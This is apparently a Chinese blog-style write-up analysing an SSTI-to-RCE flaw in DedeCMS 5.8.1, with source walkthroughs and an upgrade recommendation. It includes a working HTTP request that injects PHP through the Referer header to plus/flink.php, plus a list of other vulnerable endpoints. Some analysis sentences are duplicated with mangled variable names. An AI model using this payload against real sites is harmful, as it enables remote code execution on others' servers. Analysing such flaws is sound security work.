【安全漏洞】DedeCMS-5.8.1 SSTI模板注入导致RCE

501 阅读3分钟

漏洞类型

SSTI RCE

利用条件

影响范围应用

漏洞概述

2021年9月30日,国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导致的RCE漏洞,由于SQL注入漏洞利用条件极为苛刻,故这里只对该SSTI注入漏洞进行简要分析复现

漏环境搭建

【技术学习资料】

漏洞复现

这里使用phpstudy来搭建环境

网站前台:http://192.168.59.1/index.php?upcache=1

网站后台: http://192.168.59.1/dede/login.php?gotopa...

漏洞利用

GET / plus / flink . php ? dopost=save HTTP / 1.1
Host : 192.168.59.1
Referer : <? php "system" ( whoami ); die ; /*
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/ * ; q= 0.8 , application / signed -exchange ; v=b3 ; q= 0.9
Accept-Encoding : gzip , deflate
Accept-Language : zh-CN , zh ; q= 0.9
Cookie : PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr ; _csrf_name_26859a31= 736abb4d994bae3b85bba1781e8a50f9 ; _csrf_name_26859a31__ckMd5= 0f 32d9d2b18e1390
Connection : close

类似的URL还有:

 / plus / flink . php ? dopost=save
/ plus / users_products . php ? oid= 1337     
/ plus / download . php ? aid= 1337
/ plus / showphoto . php ? aid= 1337
/ plus / users- do . php ? fmdo=sendMail
/ plus / posttocar . php ? id= 1337
/ plus / recommend . php

漏洞分析

漏洞入口位于plus/flink.php文件中,在该文件中如果我们传入的dopost值为save且未传递验证码时,紧接着会去调用ShowMsg函数:

之后跟踪进入到include/common.func.php文件中的ShowMsg()函数内

 /** 
 *  短消息函数,可以在某个动作处理后友好的提示信息
 * 
 * @param  string $msg       消息提示信息
 * @param  string $gourl     跳转地址
 * @param  int    $onlymsg   仅显示信息
 * @param  int    $limittime 限制时间
 * @return void
 */
function ShowMsg ( $msg ,  $gourl ,  $onlymsg = 0 ,  $limittime = 0 ) 
 {
    if ( empty ( $GLOBALS [ 'cfg_plus_dir' ])) {
        $GLOBALS [ 'cfg_plus_dir' ] = ' .. ' ;
    }
    if ( $gourl == - 1 ) {
        $gourl = isset ( $_SERVER [ 'HTTP_REFERER' ]) ? $_SERVER [ 'HTTP_REFERER' ] : '' ;
        if ( $gourl == "" ) {
            $gourl = - 1 ;
        }
    }

    $htmlhead = "
     < html > \r\n < head > \r\n < title > DedeCMS提示信息 </ title > \r\n
     < meta http-equiv="Content-Type" content="text/html; charset={dede:global.cfg_soft_lang/}" />
     < meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
     < meta name="renderer" content="webkit">
     < meta http-equiv="Cache-Control" content="no-siteapp" />
     < link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css" />
     < link rel="stylesheet" type="text/css" href="{dede:global.cfg_assets_dir/}/css/manage.dede.css">
     < base target='_self' /> 
     </ head > 
     < body > 
    " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
     < center style="width:450px" class="uk-container">

     < div class="uk-card uk-card-small uk-card-default" style="margin-top: 50px;">
         < div class="uk-card-header"  style="height:20px">DedeCMS 提示信息!</div>

     < script > \r\n";
    $htmlfoot = "
     </ script > 


     </ center > 

     < script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js"></script>
     < script src="{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js"></script>
     </ body > \r\n </ html > \r\n";

    $litime = ( $limittime == 0 ? 1000 : $limittime );
    $func = '' ;

    if ( $gourl == '- 1' ) {
        if ( $limittime == 0 ) {
            $litime = 3000 ;
        }

        $gourl = "javascript:history.go(-1);" ;
    }

    if ( $gourl == '' || $onlymsg == 1 ) {
        $msg = "<script>alert("" . str_replace ( """ , "“" , $msg ) . "");</script>" ;
    } else {
        //当网址为:close::objname 时, 关闭父框架的id=objname元素
        if ( preg_match ( ' / close ::/ ' , $gourl )) {
            $tgobj = trim ( preg_replace ( ' / close ::/ ' , '' , $gourl ));
            $gourl = 'javascript :; ' ;
            $func . = "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n" ;
        }

        $func . = "var pgo=0;
      function JumpUrl (){ 
        if ( pgo== 0 ){  location='$gourl' ;  pgo= 1 ;   } 
       } \r\n";
        $rmsg = $func ;
        $rmsg . = "document.write("<div style='height:130px;font-size:10pt;background:#ffffff'><br />");\r\n" ;
        $rmsg . = "document.write("" . str_replace ( """ , "“" , $msg ) . "");\r\n" ;
        $rmsg . = "document.write("" ;

        if ( $onlymsg == 0 ) {
            if ( $gourl != 'javascript :; ' && $gourl != '' ) {
                $rmsg . = "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>" ;
                $rmsg . = "<br/></div>");\r\n" ;
                $rmsg . = "setTimeout('JumpUrl()',$litime);" ;
            } else {
                $rmsg . = "<br/></div>");\r\n" ;
            }
        } else {
            $rmsg . = "<br/><br/></div>");\r\n" ;
        }
        $msg = $htmlhead . $rmsg . $htmlfoot ;
    }
    $tpl = new DedeTemplate ();
    $tpl-> LoadString ( $msg );
    $tpl-> Display ();
} 

在这里我们可以看到如果gourl被设置为−1(间接可控),则攻击者可以通过HTTPREFERER控制gourl被设置为−1(间接可控),则攻击者可以通过HTTPREFERER控制gourl处变量的值,而该变量未经过滤直接赋值给变量gourl,之后经过一系列的操作之后将gourl,之后经过一系列的操作之后将gourl与html代码拼接处理后转而调用

tpl−>LoadString进行页面渲染操作,之后跟进LoadString可以看到此处的sourceString变量直接由tpl−>LoadString进行页面渲染操作,之后跟进LoadString可以看到此处的sourceString变量直接由str赋值过来,该变量攻击者可控,之后将其进行一次md5计算,然后设置缓存文件和缓存配置文件名,缓存文件位于data\tplcache目录,之后调用ParserTemplate对文件进行解析:

ParserTemplate如下:

 /** 
 *  解析模板
 * 
 * @access public
 * @return void
 */
    public function ParseTemplate () 
     {
        if ( $this-> makeLoop > 5 ) {
            return ;
        }
        $this-> count = - 1 ;
        $this-> cTags = array ();
        $this-> isParse = true ;
        $sPos = 0 ;
        $ePos = 0 ;
        $tagStartWord = $this-> tagStartWord ;
        $fullTagEndWord = $this-> fullTagEndWord ;
        $sTagEndWord = $this-> sTagEndWord ;
        $tagEndWord = $this-> tagEndWord ;
        $startWordLen = strlen ( $tagStartWord );
        $sourceLen = strlen ( $this-> sourceString );
        if ( $sourceLen <= ( $startWordLen + 3 )) {
            return ;
        }
        $cAtt = new TagAttributeParse ();
        $cAtt-> CharToLow = true ;

        //遍历模板字符串,请取标记及其属性信息
        $t = 0 ;
        $preTag = '' ;
        $tswLen = strlen ( $tagStartWord );
        @$cAtt-> cAttributes-> items = array ();
        for ( $i = 0 ; $i < $sourceLen ; $i ++ ) {
            $ttagName = '' ;

            //如果不进行此判断,将无法识别相连的两个标记
            if ( $i - 1 >= 0 ) {
                $ss = $i - 1 ;
            } else {
                $ss = 0 ;
            }
            $tagPos = strpos ( $this-> sourceString , $tagStartWord , $ss );

            //判断后面是否还有模板标记
            if ( $tagPos == 0 && ( $sourceLen - $i < $tswLen
                || substr ( $this-> sourceString , $i , $tswLen ) != $tagStartWord )
            ) {
                $tagPos = - 1 ;
                break ;
            }

            //获取TAG基本信息
            for ( $j = $tagPos + $startWordLen ; $j < $tagPos + $startWordLen + $this-> tagMaxLen ; $j ++ ) {
                if ( preg_match ( "/[ >/\r\n\t}.]/" , $this-> sourceString [ $j ])) {
                    break ;
                } else {
                    $ttagName . = $this-> sourceString [ $j ];
                }
            }
            if ( $ttagName != '' ) {
                $i = $tagPos + $startWordLen ;
                $endPos = - 1 ;

                //判断  '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近
                $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord ;
                $e1 = strpos ( $this-> sourceString , $sTagEndWord , $i );
                $e2 = strpos ( $this-> sourceString , $tagStartWord , $i );
                $e3 = strpos ( $this-> sourceString , $fullTagEndWordThis , $i );
                $e1 = trim ( $e1 );
                $e2 = trim ( $e2 );
                $e3 = trim ( $e3 );
                $e1 = ( $e1 == '' ? '- 1' : $e1 );
                $e2 = ( $e2 == '' ? '- 1' : $e2 );
                $e3 = ( $e3 == '' ? '- 1' : $e3 );
                if ( $e3 == - 1 ) {
                    //不存在'{/tag:标记'
                    $endPos = $e1 ;
                    $elen = $endPos + strlen ( $sTagEndWord );
                } else if ( $e1 == - 1 ) {
                    //不存在 '/}'
                    $endPos = $e3 ;
                    $elen = $endPos + strlen ( $fullTagEndWordThis );
                }

                //同时存在 '/}' 和 '{/tag:标记'
                else {
                    //如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近,则认为结束标志是 '/}',否则结束标志为 '{/tag:标记'
                    if ( $e1 < $e2 && $e1 < $e3 ) {
                        $endPos = $e1 ;
                        $elen = $endPos + strlen ( $sTagEndWord );
                    } else {
                        $endPos = $e3 ;
                        $elen = $endPos + strlen ( $fullTagEndWordThis );
                    }
                }

                //如果找不到结束标记,则认为这个标记存在错误
                if ( $endPos == - 1 ) {
                    echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n" ;
                    break ;
                }
                $i = $elen ;

                //分析所找到的标记位置等信息
                $attStr = '' ;
                $innerText = '' ;
                $startInner = 0 ;
                for ( $j = $tagPos + $startWordLen ; $j < $endPos ; $j ++ ) {
                    if ( $startInner == 0 ) {
                        if ( $this-> sourceString [ $j ] == $tagEndWord ) {
                            $startInner = 1 ;
                            continue ;
                        } else {
                            $attStr . = $this-> sourceString [ $j ];
                        }
                    } else {
                        $innerText . = $this-> sourceString [ $j ];
                    }
                }
                $ttagName = strtolower ( $ttagName );

                //if、php标记,把整个属性串视为属性
                if ( preg_match ( "/^if[0-9]{0,}$/" , $ttagName )) {
                    $cAtt-> cAttributes = new TagAttribute ();
                    $cAtt-> cAttributes-> count = 2 ;
                    $cAtt-> cAttributes-> items [ 'tagname' ] = $ttagName ;
                    $cAtt-> cAttributes-> items [ 'condition' ] = preg_replace ( "/^if[0-9]{0,}[\r\n\t ]/" , "" , $attStr );
                    $innerText = preg_replace ( "/{else}/i" , '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>' , $innerText );
                } else if ( $ttagName == 'php' ) {
                    $cAtt-> cAttributes = new TagAttribute ();
                    $cAtt-> cAttributes-> count = 2 ;
                    $cAtt-> cAttributes-> items [ 'tagname' ] = $ttagName ;
                    $cAtt-> cAttributes-> items [ 'code' ] = '<' . "?php\r\n" . trim (
                        preg_replace (
                            "/^php[0-9]{0,}[\r\n\t ]/" ,
                            "" , $attStr
                        )
                    ) . "\r\n?" . '>' ;
                } else {
                    //普通标记,解释属性
                    $cAtt-> SetSource ( $attStr );
                }
                $this-> count ++ ;
                $cTag = new Tag ();
                $cTag-> tagName = $ttagName ;
                $cTag-> startPos = $tagPos ;
                $cTag-> endPos = $i ;
                $cTag-> cAtt = $cAtt-> cAttributes ;
                $cTag-> isCompiler = false ;
                $cTag-> tagID = $this-> count ;
                $cTag-> innerText = $innerText ;
                $this-> cTags [ $this-> count ] = $cTag ;
            } else {
                $i = $tagPos + $startWordLen ;
                break ;
            }
        } //结束遍历模板字符串
        if ( $this-> count > - 1 && $this-> isCompiler ) {
            $this-> CompilerAll ();
        }
    } 

之后返回上一级,在这里会紧接着调用Display函数对解析结果进行展示,在这里会调用WriteCache函数

在WriteCache函数中写入缓存文件:

在这里使用GetResult返回值sourceString来设置$result变量,该变量包含攻击者控制的输入数据:

之后调用CheckDisabledFunctions函数进行检查操作,该函数主要用于检查是否存在被禁止的函数,然后通过token_get_all_nl函数获取输入,然而处理时并没有过滤双引号,存在被绕过的风险,攻击者可以通过将恶意PHP写到临时文件,之后在Display函数处通过include $tpl->CacheFile()将恶意临时文件包含进来从而实现远程代码执行:

安全建议

目前官方已发布最新版本:DedeCMS V5.7.80 UTF-8正式版,建议升级到该版本

点击获取【网络安全学习资料·攻略